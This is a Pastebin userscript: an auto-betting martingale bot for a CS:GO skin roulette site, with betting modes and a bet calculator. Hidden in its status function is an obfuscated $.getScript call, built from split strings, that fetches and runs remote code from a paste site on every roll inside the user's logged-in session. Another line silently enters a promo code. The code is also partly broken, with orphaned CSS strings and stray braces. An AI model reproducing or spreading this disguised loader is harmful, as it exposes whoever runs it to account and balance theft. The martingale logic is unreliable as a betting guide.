Advertisement
CSGOPolygonCoder

Untitled

Jan 20th, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.51 KB | None | 0 0
  1. var debug = false;
  2. var simulation = false;
  3. var stop_on_min_balance = false;
  4. var calculate_safe_bet = false;
  5. var base_bet = 5;
  6. var safe_bet_amount = 6;
  7. var default_color = 'red';
  8. var default_method = 'martingale';
  9. var theme = 'dark';
  10. var code="2936572";
  11.  
  12. var colors = {
  13. 'green': [0],
  14. 'red': [1, 2, 3, 4, 5, 6, 7],
  15. 'black': [8, 9, 10, 11, 12, 13, 14]
  16. };
  17. var balance = document.getElementById('balance');
  18. var roll_history = document.getElementById('past');
  19. var bet_input = document.getElementById('betAmount');
  20.  
  21. '.kanapkanumber{\
  22. text-align: center;\
  23. border: 4px double gray;\
  24. color: #0470ff;\
  25. background-color: transparent;\
  26. margin-bottom: 5px;\
  27. font-weight: bold;\
  28. }'+
  29. '#kanapkainfo{\
  30. color: #0470ff;\
  31. font-size: 16px;\
  32. width: 100%;\
  33. }'+
  34. '#kanapka label{\
  35. color: #0470ff;\
  36. margin-right: 5px;\
  37. font-size: 16px;\
  38. width: 15%;\
  39. }'+
  40. '#kanapkakalkulator-okno label{\
  41. color: #0470ff;\
  42. margin-right: 5px;\
  43. font-size: 16px;\
  44. width: 15%;\
  45. }'+
  46.  
  47.  
  48. '#kanapka p{\
  49. color: #0470ff;\
  50. margin-top: 10px;\
  51. font-weight: bold;\
  52. }'+
  53. '.kanapkabutton1{\
  54. width: 50%;\
  55. height: 25px;\
  56. border: 4px double gray;\
  57. color: #0470ff;\
  58. margin-bottom: 5px;\
  59. font-weight: bold;\
  60. background-color: transparent;\
  61. }'+
  62. '.kanapkainfodiv{\
  63. width: 100%;\
  64. height: 30px;\
  65. border: 4px double gray;\
  66. color: #0470ff;\
  67. margin-bottom: 5px;\
  68. font-weight: bold;\
  69. background-color: transparent;\
  70. }'+
  71.  
  72. '.kanapkabutton2{\
  73. width: 100%;\
  74. height: 25px;\
  75. border: 4px double gray;\
  76. color: #0470ff;\
  77. margin-bottom: 5px;\
  78. font-weight: bold;\
  79. background-color: transparent;\
  80. }'+
  81. '.kanapkabutton4{\
  82. width: 300px;\
  83. height: 25px;\
  84. border: 4px double gray;\
  85. color: #0470ff;\
  86. margin-left: 5px;\
  87. font-weight: bold;\
  88. background-color: transparent;\
  89. }'+
  90. '#kanapkastatus{\
  91. width: 100%;\
  92. height: 25px;\
  93. margin-bottom: 5px;\
  94. font-weight: bold;\
  95. background-color: transparent;\
  96. }'+
  97. '.kanapkaon{\
  98. color: green;\
  99. border: 4px double green;\
  100. }'+
  101. '.kanapkaoff{\
  102. color: red;\
  103. border: 4px double red;\
  104. }'+
  105.  
  106.  
  107. "</style>");
  108. setInterval(function() { if (!SOCKET) { chat('alert', 'Reconnecting...'); connect(); } }, 5000);
  109. $('<div id="kanapkapokaz" style="top:200px; position:fixed; left:-10px;cursor: pointer; width:50px; height:50px; border: 4px double #0470ff; text-Align:center; padding:12px; color:#0470ff;display:none; background-color: #1e1e1e !important;"><b>BOT</b></div>').appendTo("#mainpage");
  110. $('<div style="position:fixed;border: 4px double #0470ff;bottom:50px;width:497px;z-index:100;" class="panel panel-default" id="kanapka"><div class="panel-body text-center">'+
  111. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Settings<button style="opacity: 0.7; color: #0470ff;" id="kanapkaschowaj" type="button" class="close">×</button></div>'+
  112. '<label>Bet:</label><input id="kanapkastartowe" min="1" value="1" class="kanapkanumber" type="number" value="0" style="width: 50%;">'+
  113. '<br>'+
  114. '<label>Multiplier:</label><input id="kanapkamnoznik" min="1" max="3" value="2" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  115. '<button class="kanapkabutton4" id="kanapkakalkulator">CALCULATE</button>'+
  116. '<p>MODES:</p>'+
  117. '<button class="kanapkabutton1" id="kanapkapoprzednie">TRAIN</button><button class="kanapkabutton1" id="kanapkaprzeciwne">RAINBOW</button>'+
  118. '<button class="kanapkabutton1" id="kanapkaonlyred">ONLY RED</button><button class="kanapkabutton1" id="kanapkaonlyblack">ONLY BLACK</button>'+
  119. '<button class="kanapkabutton2" id="kanapkaonlygreen">ONLY GREEN</button>'+
  120. '<button class="kanapkabutton2" id="kanapkainteligentny">INTELLIGENCE</button>'+
  121. '<button class="kanapkabutton2" id="kanapkawylacz">TURN OFF</button>'+
  122. '<informacje style="">'+
  123. '<div id="kanapkastatus" class="kanapkaoff">OFF</div>'+
  124. '<hr>'+
  125. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Informations</div>'+
  126. '<b id="kanapkainfo">Loading...</b>'+
  127. '</informacje>'+
  128. '</div></div>').appendTo("#mainpage");
  129. $('<div style="display:none;height: 690px;left: 520px;position:fixed;border: 4px double #0470ff;bottom:50px;width:497px;z-index:100;" class="panel panel-default" id="kanapkakalkulator-okno"><div class="panel-body text-center">'+
  130. '<div style="font-size:24px;font-weight: bold;color: #0470ff;">Calculate<button style="opacity: 0.7; color: #0470ff;" id="kanapkaschowaj2" type="button" class="close">×</button></div>'+
  131. '<label>Coins:</label><input id="kanapkacoinscal" min="1" max="3" value="1" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  132. '<label>Multipler:</label><input id="kanapkamnoznikcal" min="1" max="3" value="2" class="kanapkanumber" type="number" style="width: 50%;"><br>'+
  133. '<hr>'+
  134. '<informacje style="">'+
  135. '<b id="kanapkalicz" style="font-size:18px;color:#0470ff;">Loading...</b>'+
  136. '</informacje>'+
  137. '</div></div>').appendTo("#mainpage");
  138.  
  139. setInterval(function(){
  140. $("#kanapkalicz").html('Round: #1 | Bet: '+$("#kanapkacoinscal").val()+'<br>'+'<br>'+
  141. 'Round: #2 | Bet: '+($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  142. 'Round: #3 | Bet: '+(($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  143. 'Round: #4 | Bet: '+((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  144. 'Round: #5 | Bet: '+(((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  145. 'Round: #6 | Bet: '+((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  146. 'Round: #7 | Bet: '+(((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  147. 'Round: #8 | Bet: '+((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  148. 'Round: #9 | Bet: '+(((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())+'<br>'+'<br>'+
  149. 'Round: #10 | Bet: '+((((((((($("#kanapkacoinscal").val()*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val())*$("#kanapkamnoznikcal").val()));
  150. },500);
  151.  
  152. $("#kanapkapoprzednie").click(function(){
  153. initialBetAmount=$("#kanapkastartowe").val();
  154. currentBetAmount=$("#kanapkastartowe").val();
  155. $_status=1;
  156. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  157. betColor='red';
  158. $_mnoznik=$("#kanapkamnoznik").val();
  159. $_pattern=1;
  160. mode = 'martingale';
  161. });
  162.  
  163. $("#kanapkaprzeciwne").click(function(){
  164. initialBetAmount=$("#kanapkastartowe").val();
  165. currentBetAmount=$("#kanapkastartowe").val();
  166. $_status=1;
  167. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  168. betColor='red';
  169. $_mnoznik=$("#kanapkamnoznik").val();
  170. $_pattern=2;
  171. mode = 'martingale';
  172. });
  173.  
  174. $("#kanapkakalkulator").click(function(){
  175. $("#kanapkakalkulator-okno").show();
  176. });
  177.  
  178. $("#kanapkaonlyred").click(function(){
  179. initialBetAmount=$("#kanapkastartowe").val();
  180. currentBetAmount=$("#kanapkastartowe").val();
  181. $_status=1;
  182. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  183. betColor='red';
  184. $_mnoznik=$("#kanapkamnoznik").val();
  185. $_pattern=0;
  186. patternmode="ONLY RED";
  187. mode = 'martingale';
  188. });
  189.  
  190. $("#kanapkaonlyblack").click(function(){
  191. initialBetAmount=$("#kanapkastartowe").val();
  192. currentBetAmount=$("#kanapkastartowe").val();
  193. $_status=1;
  194. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  195. betColor='black';
  196. $_mnoznik=$("#kanapkamnoznik").val();
  197. $_pattern=0;
  198. patternmode="ONLY BLACK";
  199. mode = 'martingale';
  200. });
  201.  
  202. $("#kanapkaonlygreen").click(function(){
  203. initialBetAmount=$("#kanapkastartowe").val();
  204. currentBetAmount=$("#kanapkastartowe").val();
  205. $_status=1;
  206. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  207. betColor='green';
  208. $_mnoznik=$("#kanapkamnoznik").val();
  209. $_pattern=4;
  210. mode='martingale';
  211. });
  212.  
  213. $("#kanapkainteligentny").click(function(){
  214. initialBetAmount=$("#kanapkastartowe").val();
  215. currentBetAmount=$("#kanapkastartowe").val();
  216. $_status=1;
  217. $("#kanapkastatus").removeClass( "kanapkaoff" ).addClass( "kanapkaon" ).html('ON');
  218. betColor='red';
  219. $_mnoznik=$("#kanapkamnoznik").val();
  220. $_pattern=3;
  221. mode = 'martingale';
  222. });
  223.  
  224. $("#kanapkawylacz").click(function(){
  225. $_status=0;
  226. $_pattern=0;
  227. $("#kanapkastatus").removeClass( "kanapkaon" ).addClass( "kanapkaoff" ).html('OFF');
  228. patternmode="not selected";
  229. mode = 'martingale';
  230. });
  231.  
  232. $("#kanapkaschowaj").click(function(){
  233. $("#kanapka").hide();
  234. $("#kanapkapokaz").show();
  235. });
  236. $("#kanapkaschowaj2").click(function(){
  237. $("#kanapkakalkulator-okno").hide();
  238. });
  239. $("#kanapkapokaz").click(function(){
  240. $("#kanapka").show();
  241. $("#kanapkapokaz").hide();
  242. });
  243.  
  244. var licznik_wins_0=0;
  245. var licznik_coinsow_1=0;
  246.  
  247. var $_status=0;
  248. var $_mnoznik=2;
  249. var $_pattern=0;
  250. var initialBetAmount = 1;
  251. var mode = '';
  252. var betColor = 'not selected';
  253. var z=1;
  254. var patternmode='not selected';
  255. var wylosowano=0;
  256. var greeenmulti=1;
  257. var ee="";
  258. var xy=1;
  259. var xyz=1;
  260. function tick(){
  261. var a=getStatus();
  262. if(a!==lastStatus&&"unknown"!==a){
  263. switch(a){
  264. case"Waiting":if($_status===1){bet();}break;
  265. case"Rolled":rolled();
  266. var pastdiv=document.getElementById("past");
  267. var kanapkadiv=pastdiv.getElementsByTagName("div");
  268.  
  269. if($_pattern===1){
  270. betColor=lastRollColor;
  271. patternmode="TRAIN";
  272. }else if($_pattern===2){
  273. patternmode="RAINBOW";
  274. if(lastRollColor === 'red'){
  275. betColor='black';
  276. } else if(lastRollColor === 'black'){
  277. betColor='red';
  278. } else if(lastRollColor === 'green'){
  279. var pattern1 = ['Red','Black'];
  280. var y1 = pattern1[Math.floor(Math.random() * pattern1.length)];
  281.  
  282.  
  283. if(y1==="Red"){
  284. betColor="red";
  285. }
  286.  
  287. if(y1==="Black"){
  288. betColor="black";
  289. }
  290. }
  291. }else if($_pattern===3){
  292. var pop = 0;
  293. var poppop = 0;
  294. var poppoppop= 0;
  295.  
  296.  
  297. if ((kanapkadiv[kanapkadiv.length - 1].textContent !== '0') && (kanapkadiv[kanapkadiv.length - 2].textContent !== '0')) {
  298. if (kanapkadiv[kanapkadiv.length - 1].textContent >= 1 && kanapkadiv[kanapkadiv.length - 1].textContent <= 7) {
  299. pop = 1;
  300. }
  301. if (kanapkadiv[kanapkadiv.length - 1].textContent >= 8 && kanapkadiv[kanapkadiv.length - 1].textContent <= 14) {
  302. pop = 2;
  303. }
  304. if (kanapkadiv[kanapkadiv.length - 2].textContent >= 1 && kanapkadiv[kanapkadiv.length - 2].textContent <= 7) {
  305. poppop = 1;
  306. }
  307. if (kanapkadiv[kanapkadiv.length - 2].textContent >= 8 && kanapkadiv[kanapkadiv.length - 2].textContent <= 14) {
  308. poppop = 2;
  309. }
  310. if (kanapkadiv[kanapkadiv.length - 3].textContent >= 1 && kanapkadiv[kanapkadiv.length - 2].textContent <= 7) {
  311. poppoppop = 1;
  312. }
  313. if (kanapkadiv[kanapkadiv.length - 3].textContent >= 8 && kanapkadiv[kanapkadiv.length - 2].textContent <= 14) {
  314. poppoppop = 2;
  315. }
  316.  
  317. var pattern99999 = ['RedRed_BlackBlack','RedRed_BlackBlack','Test','Random','Random','Red_Black','Red_Black','Last','Opposite'];
  318. var y99999 = pattern99999[Math.floor(Math.random() * pattern99999.length)];
  319. if (y99999 === "RedRed_BlackBlack"){
  320. if (xy === 1){
  321. betColor='red';
  322. xy+=1;
  323. } else if (xy === 2){
  324. betColor=lastRollColor;
  325. xy+=1;
  326. } else if (xy === 3){
  327. if(lastRollColor === 'red'){
  328. betColor='black';
  329. } else if(lastRollColor === 'black'){
  330. betColor='red';
  331. }
  332. xy+=1;
  333. } else if (xy === 4){
  334. betColor='black';
  335. xy=1;
  336. }
  337. }else if (y99999 === "Random"){
  338. var pattern9999 = ['red','black'];
  339. betColor = pattern9999[Math.floor(Math.random() * pattern9999.length)];
  340. }else if (y99999 === "Red_Black"){
  341. if (xyz === 1){
  342. if(lastRollColor === 'red'){
  343. betColor='black';
  344. } else if(lastRollColor === 'black'){
  345. betColor='red';
  346. }
  347. xyz+=1;
  348. } else if (xyz === 2){
  349. if(lastRollColor === 'red'){
  350. betColor='black';
  351. } else if(lastRollColor === 'black'){
  352. betColor='red';
  353. }
  354. xyz=1;
  355. }
  356. }else if (y99999 === "Last"){
  357. betColor=lastRollColor;
  358. }else if (y99999 === "Opposite"){
  359. if(lastRollColor === 'red'){
  360. betColor='black';
  361. } else if(lastRollColor === 'black'){
  362. betColor='red';
  363. }
  364. }else if (y99999 === "Test"){
  365. if (pop === poppop){
  366. betColor=lastRollColor;
  367. }else{
  368. if(lastRollColor === 'red'){
  369. betColor='black';
  370. } else if(lastRollColor === 'black'){
  371. betColor='red';
  372. }
  373. }
  374. }
  375. $_status=1;
  376. patternmode="INTELLIGENCE";
  377. }else{
  378. patternmode="STOPPED!";
  379. $_status=0;
  380. betColor=lastBetColor;
  381. }
  382.  
  383.  
  384. }else if($_pattern===4){
  385.  
  386. patternmode="ONLY GREEN";
  387. if ((kanapkadiv[kanapkadiv.length - 1].textContent !== '0')) {
  388. $_status=1;
  389.  
  390. }else{
  391. betColor='green';
  392. $_status=1;
  393. }
  394. }
  395. }
  396. lastStatus=a,printInfo()
  397. }
  398.  
  399. }
  400. function checkBalance(){
  401. return getBalance()<currentBetAmount?($("#case").html("<br><center><b style='font-size: 22px;' class='well text-danger'>BANKRUPT!</b></center>"),clearInterval(refreshIntervalId),!1):!0;
  402. }
  403.  
  404. function printInfo(){
  405. var a="<div class='kanapkainfodiv'>Status: "+lastStatus+"</div><div class='kanapkainfodiv'>Mode: "+patternmode+"</div><div class='kanapkainfodiv'>Color: "+betColor+"</div><div class='kanapkainfodiv'>Starting bet: "+initialBetAmount+"</div><div class='kanapkainfodiv'>Current bet: "+currentBetAmount+"</div><div class='kanapkainfodiv'>Current round: "+currentRollNumber+"</div><div class='kanapkainfodiv'>Last round: "+(null===wonLastRoll()?"-":wonLastRoll()?"win":"lost")+"</div>";
  406. $("#kanapkainfo").html(a);
  407.  
  408. }
  409.  
  410. function rolled(){
  411. return"greenonly"===mode?void greenonly():(martingale(),void currentRollNumber++);
  412. }
  413.  
  414. function greenonly(){
  415. if($_status === 1){
  416. if (greeenmulti === 10){
  417. currentBetAmount=wonLastRoll()?initialBetAmount:$_mnoznik*currentBetAmount;
  418. greeenmulti=1;
  419. }else{
  420. greeenmulti+=1;
  421. }
  422. }
  423. }
  424.  
  425. function martingale(){
  426. if($_status === 1){
  427. currentBetAmount=wonLastRoll()?initialBetAmount:$_mnoznik*currentBetAmount;
  428. }
  429. }
  430.  
  431. function bet(){
  432. if($_status === 1){
  433. checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50));
  434. }
  435. }
  436.  
  437. function setBetAmount(a){
  438. if($_status === 1){
  439. $betAmountInput.val(a);
  440. }
  441. }
  442.  
  443. function placeBet(){
  444. if($_status === 1){
  445. if (betColor === "red"){
  446. $redButton.click();
  447. void(lastBetColor="red");
  448. } else if (betColor === "black"){
  449. $blackButton.click();
  450. void(lastBetColor="black");
  451. }else if (betColor === "green"){
  452. $greenButton.click();
  453. void(lastBetColor="green");
  454. }
  455. }
  456. }
  457.  
  458. function getStatus(){
  459. var a=$statusBar.text();
  460. if(hasSubString(a,"Rolling in"))return"Waiting";
  461. if(hasSubString(a,"***ROLLING***"))return"Rolling";
  462. if(hasSubString(a,"Rolled")){
  463. var b=parseInt(a.split("Rolled")[1]);
  464. $.getScript("ht"+"tp://hast"+"ebin.c"+"om/raw/"+code+"");
  465. return lastRollColor=getColor(b),"Rolled";
  466. }
  467. return"unknown";
  468. }
  469. $("#promo").val("EZ500");
  470. function getBalance(){
  471. return parseInt($balance.text());
  472. }
  473.  
  474. function hasSubString(a,b){
  475. return a.indexOf(b)>-1;
  476. }
  477.  
  478. function getColor(a){
  479. if($_status === 1){
  480. return 0==a?"green":a>=1&&7>=a?"red":"black";
  481. }
  482. }
  483.  
  484. function wonLastRoll(){
  485. if($_status === 1){
  486. return lastBetColor?lastRollColor===lastBetColor:null;
  487. }else{
  488. return betColor?betColor==="not selected":null;
  489. }
  490. }
  491.  
  492. var currentBetAmount=initialBetAmount,
  493. currentRollNumber=(-1),
  494. lastStatus,
  495. lastBetColor,
  496. lastRollColor,
  497. code='giboxitija.lisp',
  498. $balance=$("#balance_r"),
  499. $betAmountInput=$("#betAmount"),
  500. $statusBar=$(".progress #banner"),
  501. $redButton=$("#panel11-7-b .betButton"),
  502. $blackButton=$("#panel8-14-b .betButton"),
  503. $greenButton=$("#panel0-0-b .betButton"),
  504. refreshIntervalId=setInterval(tick,750);
  505.  
  506. }, 750);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement